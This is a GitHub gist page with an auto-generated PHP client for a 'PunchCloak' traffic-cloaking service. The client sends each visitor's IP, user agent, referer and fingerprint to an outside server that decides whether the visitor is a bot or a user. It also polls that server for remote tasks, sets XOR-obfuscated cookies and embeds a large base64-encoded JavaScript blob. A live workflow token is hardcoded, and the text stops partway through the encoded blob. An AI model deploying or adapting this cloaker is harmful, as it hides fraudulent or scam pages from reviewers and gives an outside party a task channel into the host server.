Created
October 9, 2025 09:26
-
-
Save santaklouse/7f3ce9883eff2ec1bbee0fea67e2fcd8 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php /***Thisfileisauto-generatedat:2025-10-0620:30:43byPunchCloakScriptGeneratorservice.*DONOTEDITITMANUALLY!!!*ANYMANUALCHANGESWILLBELOSTDURINGTHENEXTGENERATIONOFTHESCRIPT.*Ifyouneedtochangesomething,pleaseusethePunchCloakwebinterfaceorCLIcommands*orcontactthePunchCloaksupportteamforassistance.*/namespace{if(!function_exists('str_contains')){/***Checkifastringcontainsagivensubstring.**@paramstring$haystackThestringtocheck.*@paramstring$needleThesubstringtolookforinthehaystack.*@returnboolReturnstrueifhaystackcontainsneedle,falseotherwise.*/function str_contains($haystack,$needle){return $needle!==''&&mb_strpos($haystack,$needle)!==false;}}if(!function_exists('str_starts_with')){/***Checkifastringstartswithagivensubstring.**@paramstring$haystackThestringtocheck.*@paramstring$needleThesubstringtolookforatthestartofthehaystack.*@returnboolReturnstrueifhaystackstartswithneedle,falseotherwise.*/function str_starts_with(string $haystack,string $needle):bool{return!strlen($needle)||!strncmp($haystack,$needle,\strlen($needle));}}if(!function_exists('str_ends_with')){/***Checkifastringendswithagivensubstring.**@paramstring$haystackThestringtocheck.*@paramstring$needleThesubstringtolookforattheendofthehaystack.*@returnboolReturnstrueifhaystackendswithneedle,falseotherwise.*/function str_ends_with(string $haystack,string $needle):bool{if($needle===''||$needle===$haystack){return TRUE;}if(''===$haystack){return false;}$needleLength=\strlen($needle);return $needleLength<=\strlen($haystack)&&0===substr_compare($haystack,$needle,-$needleLength);}}if(!function_exists('mb_strrev')){/***Reverseamultibytestring.**@paramstring$stringThestringtobereversed.*@paramstring|null$encodingThecharacterencoding.Ifitisomitted,theinternalcharacterencodingvalue*willbeused.*@returnstringThereversedstring*/function mb_strrev(string $string,string $encoding=null):string{$chars=mb_str_split($string,1,$encoding?:mb_internal_encoding());return implode('',array_reverse($chars));}}if(!function_exists('getallheaders')){/***GetallHTTPheaderkey/valuesasanassociativearrayforthecurrentrequest.**@returnarray<string,string>TheHTTPheaderkey/valuepairs.*/function getallheaders():array{$headers=array();$copy_server=array('CONTENT_TYPE'=>'Content-Type','CONTENT_LENGTH'=>'Content-Length','CONTENT_MD5'=>'Content-Md5',);foreach($_SERVER as $key=>$value){if(substr($key,0,5)==='HTTP_'){$key=substr($key,5);if(!isset($copy_server[$key])||!isset($_SERVER[$key])){$key=str_replace(' ','-',ucwords(strtolower(str_replace('_',' ',$key))));$headers[$key]=$value;}}elseif(isset($copy_server[$key])){$headers[$copy_server[$key]]=$value;}}if(!isset($headers['Authorization'])){if(isset($_SERVER['REDIRECT_HTTP_AUTHORIZATION'])){$headers['Authorization']=$_SERVER['REDIRECT_HTTP_AUTHORIZATION'];}elseif(isset($_SERVER['PHP_AUTH_USER'])){$basic_pass=$_SERVER['PHP_AUTH_PW']?? '';$headers['Authorization']='Basic '.base64_encode($_SERVER['PHP_AUTH_USER'].':'.$basic_pass);}elseif(isset($_SERVER['PHP_AUTH_DIGEST'])){$headers['Authorization']=$_SERVER['PHP_AUTH_DIGEST'];}}return $headers;}}if(!function_exists('xorStringWithKey')){function xorStringWithKey(string $text,string $key):string{$result='';for($i=0;$i<strlen($text);$i++){$textCharCode=ord($text[$i]);$keyCharCode=ord($key[$i%strlen($key)]);$xoredCharCode=$textCharCode^$keyCharCode;$result .= chr($xoredCharCode);}return $result;}}if(\PHP_VERSION_ID<80000&&!interface_exists('Stringable',false)){interface Stringable{/***@returnstring*/public function __toString();}}}namespace Client{/***ClassConfig**ThisclassisresponsibleformanagingtheconfigurationsettingsforthePunchCloakclient.*Itprovidesmethodstoretrieveconfigurationvalues,checkloggingsettings,andmanagewebhookURLs.*@packageClient*@propertystring|null$workflow_idTheIDoftheworkflow.*@propertystring|null$workflow_tokenThetokenoftheworkflow.*@propertystring|null$session_idThesessionIDofthecurrentrequest.*/class Config{const WORKFLOW_ID=21;const WORKFLOW_TOKEN='iQspmjA37LephY2MV8Q7O0VSC98yubCDNpfxIdwwNZLZvMLHeMGuud2b8SZMq8EO';private array $config;/***ReturnsasingletoninstanceofConfig.**@paramarray|null$dataConfigurationdatatoinitializetheinstancewith.*@returnConfig*/public static function getInstance(array $data=null):Config{static $instance=null;if(!is_null($instance)){return $instance;}$instance=new self($data ??(defined('CONFIG')?CONFIG:[]));$instance -> workflow_id=self :: WORKFLOW_ID;$instance -> workflow_token=self :: WORKFLOW_TOKEN;$instance -> session_id=\Client\Session :: getInstance()-> getId();return $instance;}/***Configconstructor.**@paramarray$config*/public function __construct(array $config){$this -> config=$config;}public function __get(string $name){return $this -> get($name);}public function __set(string $name,$value){return $this -> set($name,$value);}public function get(string $key,$default=null){return $this -> config[$key]?? $default;}public function set(string $key,$value):self{$this -> config[$key]=$value;return $this;}public function __isset(string $name):bool{return $this -> has($name);}public function __unset(string $name):void{unset($this -> config[$name]);}public function has(string $key):bool{return isset($this -> config[$key]);}public function all():array{return $this -> config;}public function toJson():string{return json_encode($this -> config);}public function getWorkflowId():?string{return $this -> workflow_id;}public function getWorkflowToken():?string{return $this -> workflow_token;}public function isJsChecksEnabled():bool{return (bool)($this -> get('js_checks')?? false);}public function getIncludeType():IncludeType{return \Client\IncludeType :: from($this -> get('include_type'));}public function isLoggingEnabled():bool{return (bool)($this -> get('logging')?? false);}public function getLogFilePath():string{return $this -> get('log_file')?? '/var/log/punchcloak.log';}public function getWebhookUrl():?string{return $this -> get('webhook_url');}public function getWorkflowName():?string{return $this -> get('workflow_name');}public function isWebhookEnabled():bool{return!empty($this -> getWebhookUrl());}}class PunchAPI{const IP_INFO_API_URL='https://clo.vyserionglobal.com/api/ip/info';const PUT_LOG_API_URL='https://clo.vyserionglobal.com/api/workflow/access-log';const IPQS_API_URL='https://clo.vyserionglobal.com/api/ip/ipqs/check';const CHECK_REQUEST_API_URL='https://clo.vyserionglobal.com/api/workflow/check-request/21';const TASK_GET_NEXT='https://clo.vyserionglobal.com/api/workflow/21/task/next';const TASK_COMPLETED='https://clo.vyserionglobal.com/api/workflow/task/TASK_ID/complete';const TASK_FAILED='https://clo.vyserionglobal.com/api/workflow/task/TASK_ID/fail';const JS_CHECK_API_URL='https://clo.vyserionglobal.com/api/workflow/21/js-check';private static function makeRequest($method,string $url,array $params=[]):string{$workflowToken=\Client\Config :: getInstance()-> getWorkflowToken();$ch=curl_init();curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CUSTOMREQUEST,strtoupper($method));$url .= '?'.http_build_query(['wf-token'=>$workflowToken]);curl_setopt($ch,CURLOPT_HTTPHEADER,['X-Workflow-Token: '.$workflowToken,]);if(!empty($params)){if($method==='GET'){$url .= '&'.http_build_query($params);}else{curl_setopt($ch,CURLOPT_POSTFIELDS,json_encode($params));curl_setopt($ch,CURLOPT_HTTPHEADER,['Content-Type: application/json','Content-Length: '.strlen(json_encode($params))]);}}curl_setopt($ch,CURLOPT_URL,$url);$result=curl_exec($ch);curl_close($ch);return $result;}public static function put(string $url,array $params){return json_decode(self :: makeRequest('PUT',$url,$params),TRUE);}public static function post(string $url,array $params){return json_decode(self :: makeRequest('POST',$url,$params),TRUE);}public static function get(string $url,array $params=[]){return json_decode(self :: makeRequest('GET',$url,$params),TRUE);}public static function getIpInfoFromPunch($ipAddr,$userAgent){$url=\Client\PunchAPI :: IP_INFO_API_URL."/$ipAddr";return \Client\PunchAPI :: get($url,['user-agent'=>$userAgent ?? '',]);}public static function process($ipAddr,$userAgent,$language=null,$referer=null,array $data=[]){return \Client\PunchAPI :: get(\Client\PunchAPI :: CHECK_REQUEST_API_URL,['ip'=>$ipAddr,'user_agent'=>$userAgent,'lang'=>$language,'referer'=>$referer,'fingerprint'=>$data['fingerprint']?? '','host'=>$data['host']?? '','raw_url'=>$data['raw_url']?? '','url'=>$data['url']?? '',]);}public static function jsCheck($data){return \Client\PunchAPI :: post(\Client\PunchAPI :: JS_CHECK_API_URL,$data);}public static function saveIpInfoToLog($info=[]){return \Client\PunchAPI :: put(\Client\PunchAPI :: PUT_LOG_API_URL,$info);}public static function browserApproved($info=[]):array{return \Client\PunchAPI :: put(\Client\PunchAPI :: PUT_LOG_API_URL,$info);}public static function getIPQS($ipAddr,$userAgent,$language=null){return \Client\PunchAPI :: get(\Client\PunchAPI :: IPQS_API_URL."/$ipAddr",['user-agent'=>$userAgent,'lang'=>$language,]);}public static function checkForTask(){return \Client\PunchAPI :: get(\Client\PunchAPI :: TASK_GET_NEXT);}public static function completeTask($taskId,$result){return \Client\PunchAPI :: put(str_replace('TASK_ID',$taskId,\Client\PunchAPI :: TASK_COMPLETED),['result'=>$result,]);}public static function failTask($taskId,$result){return \Client\PunchAPI :: put(str_replace('TASK_ID',$taskId,\Client\PunchAPI :: TASK_FAILED),['result'=>$result,]);}}class IncludeType implements \Stringable{public const CURL=1;public const FILE_GET_CONTENTS=2;public const REDIRECT_PERMANENT=3;public const REDIRECT_TEMPORARY=4;private $value;private function __construct($value){$this -> value=$value;}public static function from($value):self{if(!in_array($value,[self :: CURL,self :: FILE_GET_CONTENTS,self :: REDIRECT_PERMANENT,self :: REDIRECT_TEMPORARY])){throw new \InvalidArgumentException('Invalid include type value');}return new self($value);}public function getValue(){return $this -> value;}public function __toString():string{switch($this -> value){case self :: CURL:return 'CURL';case self :: FILE_GET_CONTENTS:return 'FILE_GET_CONTENTS';case self :: REDIRECT_PERMANENT:return 'REDIRECT_PERMANENT';case self :: REDIRECT_TEMPORARY:return 'REDIRECT_TEMPORARY';default:return 'UNKNOWN';}}}/***@propertymixed|string|null$request_fingerprint*/class Session implements \Stringable{public const SESSION_LIFETIME=14400;private static?Session $instance=null;private string $storagePath;/***@returnstring*/public function getStoragePath():string{return $this -> storagePath;}public function purge():int{if(is_dir($this -> getStoragePath())){return count(array_map(fn($filePath)=>unlink(realpath($filePath)),glob($this -> getStoragePath()."/sess_*")));}return 0;}private function __construct(){if(!is_null(\Client\Session :: $instance)){/*// If an instance already exists, return it*/return \Client\Session :: $instance;}$this -> storagePath=implode(DIRECTORY_SEPARATOR,[dirname(__FILE__),'.session_data']);is_dir($this -> storagePath)or mkdir($this -> storagePath);if(ini_get("session.use_trans_sid")){ini_set("url_rewriter.tags","");ini_set("session.use_trans_sid",FALSE);}ini_set("session.gc_maxlifetime",\Client\Session :: SESSION_LIFETIME);ini_set("session.gc_divisor","1");ini_set("session.gc_probability","1");ini_set("session.cookie_lifetime","0");ini_set("session.save_path",$this -> storagePath);if(session_status()!==PHP_SESSION_ACTIVE){session_start();}\Client\Session :: $instance=$this;}public static function getInstance():Session{if(!is_null(\Client\Session :: $instance)){return \Client\Session :: $instance;}/*// If no instance exists, create a new one*/\Client\Session :: $instance=new \Client\Session();return \Client\Session :: $instance;}public function getId():string{return session_id();}public function set($key,$value):void{$_SESSION[$key]=$value;}public function get($key,$default=null){return $_SESSION[$key]?? $default;}/***Checkifthevalueofthegivenkeymatchestheprovidedvalue*@paramstring$key*@param$value*@returnbool*/public function equals(string $key,$value):bool{if(!$this -> has($key)){return FALSE;}return $this -> get($key)===$value;}public function has($key):bool{return isset($_SESSION[$key]);}public function remove($key):void{unset($_SESSION[$key]);}public function all():array{return $_SESSION;}public function destroy():void{session_destroy();}public function __get(string $name){return $this -> get($name);}public function __set(string $name,$value){$this -> set($name,$value);}public function __isset(string $name){return $this -> has($name);}public function __unset(string $name){$this -> remove($name);}public function __toString():string{return json_encode($this -> all());}public function __destruct(){if(session_status()===PHP_SESSION_ACTIVE){session_write_close();}}public static function addJSCheckedCookie():string{$cookieName='jc_'.self :: getEncodedKey();$cookieValue=base64_encode(xorStringWithKey(\Client\Config :: getInstance()-> getWorkflowToken(),$cookieName));setcookie($cookieName,$cookieValue,time()+(86400*30),"/");/*// 86400 = 1 day*/\Client\Session :: getInstance()-> set('js_checked',true);return $cookieValue;}public static function checkJSCheckedCookie():bool{$cookieName='jc_'.self :: getEncodedKey();$cookieValue=\Client\Http\Request :: getInstance()-> getCookie($cookieName);if(\Client\Session :: getInstance()-> get('js_checked')){self :: addJSCheckedCookie();return TRUE;}else{if(!$cookieValue){return false;}$decodedCookie=xorStringWithKey(base64_decode($cookieValue),$cookieName);\Client\Logger :: info("Decoded cookie: {$decodedCookie}");return $decodedCookie===\Client\Config :: getInstance()-> getWorkflowToken();}}public static function removeJSCheckCookie():void{\Client\Session :: getInstance()-> remove('js_checked');$cookieName='jc_'.self :: getEncodedKey();setcookie($cookieName,'',time()-3600,"/");}public static function getEncodedKey():string{$workflowToken=\Client\Config :: getInstance()-> getWorkflowId();return str_replace('=','',base64_encode("#{$workflowToken}"));}}/***@methodstaticvoidinfo(string$message)*@methodstaticvoidwarn(string$message)*@methodstaticvoiderror(string$message)*/class Logger{public const MAP=['error'=>256,'warn'=>512,'info'=>1024];public static string $logFilePath='./.punchcloak/punchcloak.log';/***@paramstring$logFilePath*/public static function setLogFilePath(string $logFilePath):void{self :: $logFilePath=$logFilePath;if(!file_exists($logFilePath)){$dir=dirname($logFilePath);if(!is_dir($dir)){mkdir($dir,0755,true);}file_put_contents($logFilePath,"PunchCloak Logger initialized at ".date('Y-m-d H:i:s')."\n");}}/***@returnstring*/public static function getLogFilePath():string{return self :: $logFilePath;}private function __construct(){}public static function write($message):void{if(!($path=realpath(self :: getLogFilePath()))){$path=self :: getLogFilePath();}self :: setLogFilePath($path);if(file_exists(self :: getLogFilePath())){$message=date('Y-m-d H:i:s')." - ".$message."\n";file_put_contents(self :: getLogFilePath(),$message,FILE_APPEND);}}public static function __callStatic(string $name,array $arguments){$name=strtolower($name);if(!array_key_exists($name,self :: MAP)){$name='info';}$type=self :: MAP[$name];$message=$arguments[0]?? '';if(count($arguments)>1){$message=implode('|',$arguments);}self :: write("PHP {$name}: $message");trigger_error($message,$type);}}class CloakCore{public const VERDICT_USER='USER';public const VERDICT_BOT='BOT';const CLIENT_JS_LIBS_CODE='KGZ1bmN0aW9uKCl7ZnVuY3Rpb24gYWEoYSl7cmV0dXJuIEpTT04uc3RyaW5naWZ5KE9iamVjdC5rZXlzKGEpLnNvcnQoKS5yZWR1Y2UoKGIsYyk9PntiW2NdPWFbY107cmV0dXJuIGJ9LHt9KSl9Y29uc3QgYmE9YT0+ISFBcnJheS5mcm9tKGEuaGVhZGVycy5nZXQoIkNvbnRlbnQtVHlwZSIpLm1hdGNoQWxsKC9qc29ufGphdmFzY3JpcHQvZ2kpKS5sZW5ndGg7ZnVuY3Rpb24gbChhLGI9KC4uLmMpPT57Yy5sZW5ndGh8fChjPWEudG9TdHJpbmcoKSxjPWMuc3Vic3RyKDkpLGM9Yy5zdWJzdHIoMCxjLmluZGV4T2YoIigiKSkpO3JldHVybiBKU09OLnN0cmluZ2lmeShjKX0pe2NvbnN0IGM9bmV3IE1hcDtyZXR1cm4oLi4uZSk9Pntjb25zdCBkPWIoLi4uZSk7aWYoYy5oYXMoZCkpcmV0dXJuIGMuZ2V0KGQpO2U9YS5hcHBseShhLGUpO2Muc2V0KGQsZSk7cmV0dXJuIGV9fQp0eXBlb2YgbW9kdWxlIT09InVuZGVmaW5lZCImJm1vZHVsZS5leHBvcnRzP21vZHVsZS5leHBvcnRzPXtyYTphYSxvYTpiYSxwYTpsfTp3aW5kb3cuVXRpbHM9e3N0YWJsZVN0cmluZ2lmeTphYSxpc0pzb25SZXNwb25zZTpiYSxtZW1vaXplOmx9O2Z1bmN0aW9uIGNhKGEpe2NvbnN0IGI9QXJyYXkuZnJvbShhKSxjPWIubGVuZ3RoO3JldHVybiBmdW5jdGlvbiooZSl7bGV0IGQ9MDtmb3IoY29uc3QgZiBvZiBlKXlpZWxkIGM9PT0wP2Y6U3RyaW5nLmZyb21DaGFyQ29kZShmLmNoYXJDb2RlQXQoMCleYltkKyslY10uY2hhckNvZGVBdCgwKSl9fWZ1bmN0aW9uIGRhKGEsYj0wKXtsZXQgYz0zNzM1OTI4NTU5XmI7Yl49MTEwMzU0Nzk5MTtmb3IobGV0IGU9MCxkO2U8YS5sZW5ndGg7ZSsrKWQ9YS5jaGFyQ29kZUF0KGUpLGM9TWF0aC5pbXVsKGNeZCwyMjQ2ODIyNTE5KSxiPU1hdGguaW11bChiXmQsMzI2NjQ4OTkxNyk7Y149TWF0aC5pbXVsKGNeYj4+PjE1LDE5MzUyODk3NTEpO2JePU1hdGguaW11bChiXmM+Pj4xNSwzNDA1MTM4MzQ1KTtjXj1iPj4+MTY7cmV0dXJuIDIwOTcxNTIqKChiXmM+Pj4xNik+Pj4wKSsoYz4+PjExKX0KZnVuY3Rpb24gZWEoYSl7ZnVuY3Rpb24gYihrLHApe3JldHVybiBrPj4+cHxrPDwzMi1wfXZhciBjPU1hdGgucG93LGU9YygyLDMyKSxkO2xldCBmPSIiO3ZhciBnPVtdLG49YS5sZW5ndGgqOCxxO2xldCBoPXE9cXx8W107cT1kPWR8fFtdO3ZhciB4PXEubGVuZ3RoLHk9e307Zm9yKHZhciB3PTI7eDw2NDt3KyspaWYoIXlbd10pe2ZvcihkPTA7ZDwzMTM7ZCs9dyl5W2RdPXc7aFt4XT1jKHcsLjUpKmV8MDtxW3grK109Yyh3LDEvMykqZXwwfWZvcihhKz0iXHUwMDgwIjthLmxlbmd0aCU2NC01NjspYSs9Ilx4MDAiO2ZvcihkPTA7ZDxhLmxlbmd0aDtkKyspe2M9YS5jaGFyQ29kZUF0KGQpO2lmKGM+PjgpcmV0dXJuO2dbZD4+Ml18PWM8PCgzLWQpJTQqOH1nW2cubGVuZ3RoXT1uL2V8MDtnW2cubGVuZ3RoXT1uO2ZvcihjPTA7YzxnLmxlbmd0aDspe2E9Zy5zbGljZShjLGMrPTE2KTtlPWg7aD1oLnNsaWNlKDAsOCk7Zm9yKGQ9MDtkPDY0O2QrKyl4PWFbZC0xNV0seT1hW2QtMl0sbj1oWzBdLAp3PWhbNF0seD1oWzddKyhiKHcsNileYih3LDExKV5iKHcsMjUpKSsodyZoWzVdXn53JmhbNl0pK3FbZF0rKGFbZF09ZDwxNj9hW2RdOmFbZC0xNl0rKGIoeCw3KV5iKHgsMTgpXng+Pj4zKSthW2QtN10rKGIoeSwxNyleYih5LDE5KV55Pj4+MTApfDApLG49KGIobiwyKV5iKG4sMTMpXmIobiwyMikpKyhuJmhbMV1ebiZoWzJdXmhbMV0maFsyXSksaD1beCtufDBdLmNvbmNhdChoKSxoWzRdPWhbNF0reHwwO2ZvcihkPTA7ZDw4O2QrKyloW2RdPWhbZF0rZVtkXXwwfWZvcihkPTA7ZDw4O2QrKylmb3IoYz0zO2MrMTtjLS0pZz1oW2RdPj5jKjgmMjU1LGYrPShnPDE2PzA6IiIpK2cudG9TdHJpbmcoMTYpO3JldHVybiBmfQpmdW5jdGlvbiByKGEsYil7dmFyIGM9YVswXSxlPWFbMV0sZD1hWzJdLGY9YVszXTtjPXQoZSZkfH5lJmYsYyxlLGJbMF0sNywtNjgwODc2OTM2KTtmPXQoYyZlfH5jJmQsZixjLGJbMV0sMTIsLTM4OTU2NDU4Nik7ZD10KGYmY3x+ZiZlLGQsZixiWzJdLDE3LDYwNjEwNTgxOSk7ZT10KGQmZnx+ZCZjLGUsZCxiWzNdLDIyLC0xMDQ0NTI1MzMwKTtjPXQoZSZkfH5lJmYsYyxlLGJbNF0sNywtMTc2NDE4ODk3KTtmPXQoYyZlfH5jJmQsZixjLGJbNV0sMTIsMTIwMDA4MDQyNik7ZD10KGYmY3x+ZiZlLGQsZixiWzZdLDE3LC0xNDczMjMxMzQxKTtlPXQoZCZmfH5kJmMsZSxkLGJbN10sMjIsLTQ1NzA1OTgzKTtjPXQoZSZkfH5lJmYsYyxlLGJbOF0sNywxNzcwMDM1NDE2KTtmPXQoYyZlfH5jJmQsZixjLGJbOV0sMTIsLTE5NTg0MTQ0MTcpO2Q9dChmJmN8fmYmZSxkLGYsYlsxMF0sMTcsLTQyMDYzKTtlPXQoZCZmfH5kJmMsZSxkLGJbMTFdLDIyLC0xOTkwNDA0MTYyKTtjPXQoZSZkfH5lJmYsCmMsZSxiWzEyXSw3LDE4MDQ2MDM2ODIpO2Y9dChjJmV8fmMmZCxmLGMsYlsxM10sMTIsLTQwMzQxMTAxKTtkPXQoZiZjfH5mJmUsZCxmLGJbMTRdLDE3LC0xNTAyMDAyMjkwKTtlPXQoZCZmfH5kJmMsZSxkLGJbMTVdLDIyLDEyMzY1MzUzMjkpO2M9dChlJmZ8ZCZ+ZixjLGUsYlsxXSw1LC0xNjU3OTY1MTApO2Y9dChjJmR8ZSZ+ZCxmLGMsYls2XSw5LC0xMDY5NTAxNjMyKTtkPXQoZiZlfGMmfmUsZCxmLGJbMTFdLDE0LDY0MzcxNzcxMyk7ZT10KGQmY3xmJn5jLGUsZCxiWzBdLDIwLC0zNzM4OTczMDIpO2M9dChlJmZ8ZCZ+ZixjLGUsYls1XSw1LC03MDE1NTg2OTEpO2Y9dChjJmR8ZSZ+ZCxmLGMsYlsxMF0sOSwzODAxNjA4Myk7ZD10KGYmZXxjJn5lLGQsZixiWzE1XSwxNCwtNjYwNDc4MzM1KTtlPXQoZCZjfGYmfmMsZSxkLGJbNF0sMjAsLTQwNTUzNzg0OCk7Yz10KGUmZnxkJn5mLGMsZSxiWzldLDUsNTY4NDQ2NDM4KTtmPXQoYyZkfGUmfmQsZixjLGJbMTRdLDksLTEwMTk4MDM2OTApOwpkPXQoZiZlfGMmfmUsZCxmLGJbM10sMTQsLTE4NzM2Mzk2MSk7ZT10KGQmY3xmJn5jLGUsZCxiWzhdLDIwLDExNjM1MzE1MDEpO2M9dChlJmZ8ZCZ+ZixjLGUsYlsxM10sNSwtMTQ0NDY4MTQ2Nyk7Zj10KGMmZHxlJn5kLGYsYyxiWzJdLDksLTUxNDAzNzg0KTtkPXQoZiZlfGMmfmUsZCxmLGJbN10sMTQsMTczNTMyODQ3Myk7ZT10KGQmY3xmJn5jLGUsZCxiWzEyXSwyMCwtMTkyNjYwNzczNCk7Yz10KGVeZF5mLGMsZSxiWzVdLDQsLTM3ODU1OCk7Zj10KGNeZV5kLGYsYyxiWzhdLDExLC0yMDIyNTc0NDYzKTtkPXQoZl5jXmUsZCxmLGJbMTFdLDE2LDE4MzkwMzA1NjIpO2U9dChkXmZeYyxlLGQsYlsxNF0sMjMsLTM1MzA5NTU2KTtjPXQoZV5kXmYsYyxlLGJbMV0sNCwtMTUzMDk5MjA2MCk7Zj10KGNeZV5kLGYsYyxiWzRdLDExLDEyNzI4OTMzNTMpO2Q9dChmXmNeZSxkLGYsYls3XSwxNiwtMTU1NDk3NjMyKTtlPXQoZF5mXmMsZSxkLGJbMTBdLDIzLC0xMDk0NzMwNjQwKTtjPXQoZV4KZF5mLGMsZSxiWzEzXSw0LDY4MTI3OTE3NCk7Zj10KGNeZV5kLGYsYyxiWzBdLDExLC0zNTg1MzcyMjIpO2Q9dChmXmNeZSxkLGYsYlszXSwxNiwtNzIyNTIxOTc5KTtlPXQoZF5mXmMsZSxkLGJbNl0sMjMsNzYwMjkxODkpO2M9dChlXmReZixjLGUsYls5XSw0LC02NDAzNjQ0ODcpO2Y9dChjXmVeZCxmLGMsYlsxMl0sMTEsLTQyMTgxNTgzNSk7ZD10KGZeY15lLGQsZixiWzE1XSwxNiw1MzA3NDI1MjApO2U9dChkXmZeYyxlLGQsYlsyXSwyMywtOTk1MzM4NjUxKTtjPXQoZF4oZXx+ZiksYyxlLGJbMF0sNiwtMTk4NjMwODQ0KTtmPXQoZV4oY3x+ZCksZixjLGJbN10sMTAsMTEyNjg5MTQxNSk7ZD10KGNeKGZ8fmUpLGQsZixiWzE0XSwxNSwtMTQxNjM1NDkwNSk7ZT10KGZeKGR8fmMpLGUsZCxiWzVdLDIxLC01NzQzNDA1NSk7Yz10KGReKGV8fmYpLGMsZSxiWzEyXSw2LDE3MDA0ODU1NzEpO2Y9dChlXihjfH5kKSxmLGMsYlszXSwxMCwtMTg5NDk4NjYwNik7ZD10KGNeKGZ8fmUpLGQsCmYsYlsxMF0sMTUsLTEwNTE1MjMpO2U9dChmXihkfH5jKSxlLGQsYlsxXSwyMSwtMjA1NDkyMjc5OSk7Yz10KGReKGV8fmYpLGMsZSxiWzhdLDYsMTg3MzMxMzM1OSk7Zj10KGVeKGN8fmQpLGYsYyxiWzE1XSwxMCwtMzA2MTE3NDQpO2Q9dChjXihmfH5lKSxkLGYsYls2XSwxNSwtMTU2MDE5ODM4MCk7ZT10KGZeKGR8fmMpLGUsZCxiWzEzXSwyMSwxMzA5MTUxNjQ5KTtjPXQoZF4oZXx+ZiksYyxlLGJbNF0sNiwtMTQ1NTIzMDcwKTtmPXQoZV4oY3x+ZCksZixjLGJbMTFdLDEwLC0xMTIwMjEwMzc5KTtkPXQoY14oZnx+ZSksZCxmLGJbMl0sMTUsNzE4Nzg3MjU5KTtlPXQoZl4oZHx+YyksZSxkLGJbOV0sMjEsLTM0MzQ4NTU1MSk7YVswXT1jK2FbMF0mNDI5NDk2NzI5NTthWzFdPWUrYVsxXSY0Mjk0OTY3Mjk1O2FbMl09ZCthWzJdJjQyOTQ5NjcyOTU7YVszXT1mK2FbM10mNDI5NDk2NzI5NX0KZnVuY3Rpb24gdChhLGIsYyxlLGQsZil7Yj0oYithJjQyOTQ5NjcyOTUpKyhlK2YmNDI5NDk2NzI5NSkmNDI5NDk2NzI5NTtyZXR1cm4oYjw8ZHxiPj4+MzItZCkrYyY0Mjk0OTY3Mjk1fWNvbnN0IGZhPSIwMTIzNDU2Nzg5YWJjZGVmIi5zcGxpdCgiIik7CmZ1bmN0aW9uIGhhKGEpe3ZhciBiPWEsYz1iLmxlbmd0aDthPVsxNzMyNTg0MTkzLC0yNzE3MzM4NzksLTE3MzI1ODQxOTQsMjcxNzMzODc4XTt2YXIgZTtmb3IoZT02NDtlPD1iLmxlbmd0aDtlKz02NCl7dmFyIGQsZj1iLnN1YnN0cmluZyhlLTY0LGUpLGc9W107Zm9yKGQ9MDtkPDY0O2QrPTQpZ1tkPj4yXT1mLmNoYXJDb2RlQXQoZCkrKGYuY2hhckNvZGVBdChkKzEpPDw4KSsoZi5jaGFyQ29kZUF0KGQrMik8PDE2KSsoZi5jaGFyQ29kZUF0KGQrMyk8PDI0KTtyKGEsZyl9Yj1iLnN1YnN0cmluZyhlLTY0KTtkPVswLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwXTtmb3IoZT0wO2U8Yi5sZW5ndGg7ZSsrKWRbZT4+Ml18PWIuY2hhckNvZGVBdChlKTw8KGUlNDw8Myk7ZFtlPj4yXXw9MTI4PDwoZSU0PDwzKTtpZihlPjU1KWZvcihyKGEsZCksZT0wO2U8MTY7ZSsrKWRbZV09MDtkWzE0XT1jKjg7cihhLGQpO2ZvcihjPTA7YzxhLmxlbmd0aDtjKyspe2I9YVtjXTtlPSIiO2ZvcihkPQowO2Q8NDtkKyspZSs9ZmFbYj4+ZCo4KzQmMTVdK2ZhW2I+PmQqOCYxNV07YVtjXT1lfXJldHVybiBhLmpvaW4oIiIpfWZ1bmN0aW9uIHUoYSxiKXthPVthWzBdPj4+MTYsYVswXSY2NTUzNSxhWzFdPj4+MTYsYVsxXSY2NTUzNV07Yj1bYlswXT4+PjE2LGJbMF0mNjU1MzUsYlsxXT4+PjE2LGJbMV0mNjU1MzVdO3ZhciBjPVswLDAsMCwwXTtjWzNdKz1hWzNdK2JbM107Y1syXSs9Y1szXT4+PjE2O2NbM10mPTY1NTM1O2NbMl0rPWFbMl0rYlsyXTtjWzFdKz1jWzJdPj4+MTY7Y1syXSY9NjU1MzU7Y1sxXSs9YVsxXStiWzFdO2NbMF0rPWNbMV0+Pj4xNjtjWzFdJj02NTUzNTtjWzBdKz1hWzBdK2JbMF07Y1swXSY9NjU1MzU7cmV0dXJuW2NbMF08PDE2fGNbMV0sY1syXTw8MTZ8Y1szXV19CmZ1bmN0aW9uIHYoYSxiKXthPVthWzBdPj4+MTYsYVswXSY2NTUzNSxhWzFdPj4+MTYsYVsxXSY2NTUzNV07Yj1bYlswXT4+PjE2LGJbMF0mNjU1MzUsYlsxXT4+PjE2LGJbMV0mNjU1MzVdO3ZhciBjPVswLDAsMCwwXTtjWzNdKz1hWzNdKmJbM107Y1syXSs9Y1szXT4+PjE2O2NbM10mPTY1NTM1O2NbMl0rPWFbMl0qYlszXTtjWzFdKz1jWzJdPj4+MTY7Y1syXSY9NjU1MzU7Y1syXSs9YVszXSpiWzJdO2NbMV0rPWNbMl0+Pj4xNjtjWzJdJj02NTUzNTtjWzFdKz1hWzFdKmJbM107Y1swXSs9Y1sxXT4+PjE2O2NbMV0mPTY1NTM1O2NbMV0rPWFbMl0qYlsyXTtjWzBdKz1jWzFdPj4+MTY7Y1sxXSY9NjU1MzU7Y1sxXSs9YVszXSpiWzFdO2NbMF0rPWNbMV0+Pj4xNjtjWzFdJj02NTUzNTtjWzBdKz1hWzBdKmJbM10rYVsxXSpiWzJdK2FbMl0qYlsxXSthWzNdKmJbMF07Y1swXSY9NjU1MzU7cmV0dXJuW2NbMF08PDE2fGNbMV0sY1syXTw8MTZ8Y1szXV19CmZ1bmN0aW9uIHooYSxiKXtiJT02NDtpZihiPT09MzIpcmV0dXJuW2FbMV0sYVswXV07aWYoYjwzMilyZXR1cm5bYVswXTw8YnxhWzFdPj4+MzItYixhWzFdPDxifGFbMF0+Pj4zMi1iXTtiLT0zMjtyZXR1cm5bYVsxXTw8YnxhWzBdPj4+MzItYixhWzBdPDxifGFbMV0+Pj4zMi1iXX1mdW5jdGlvbiBBKGEsYil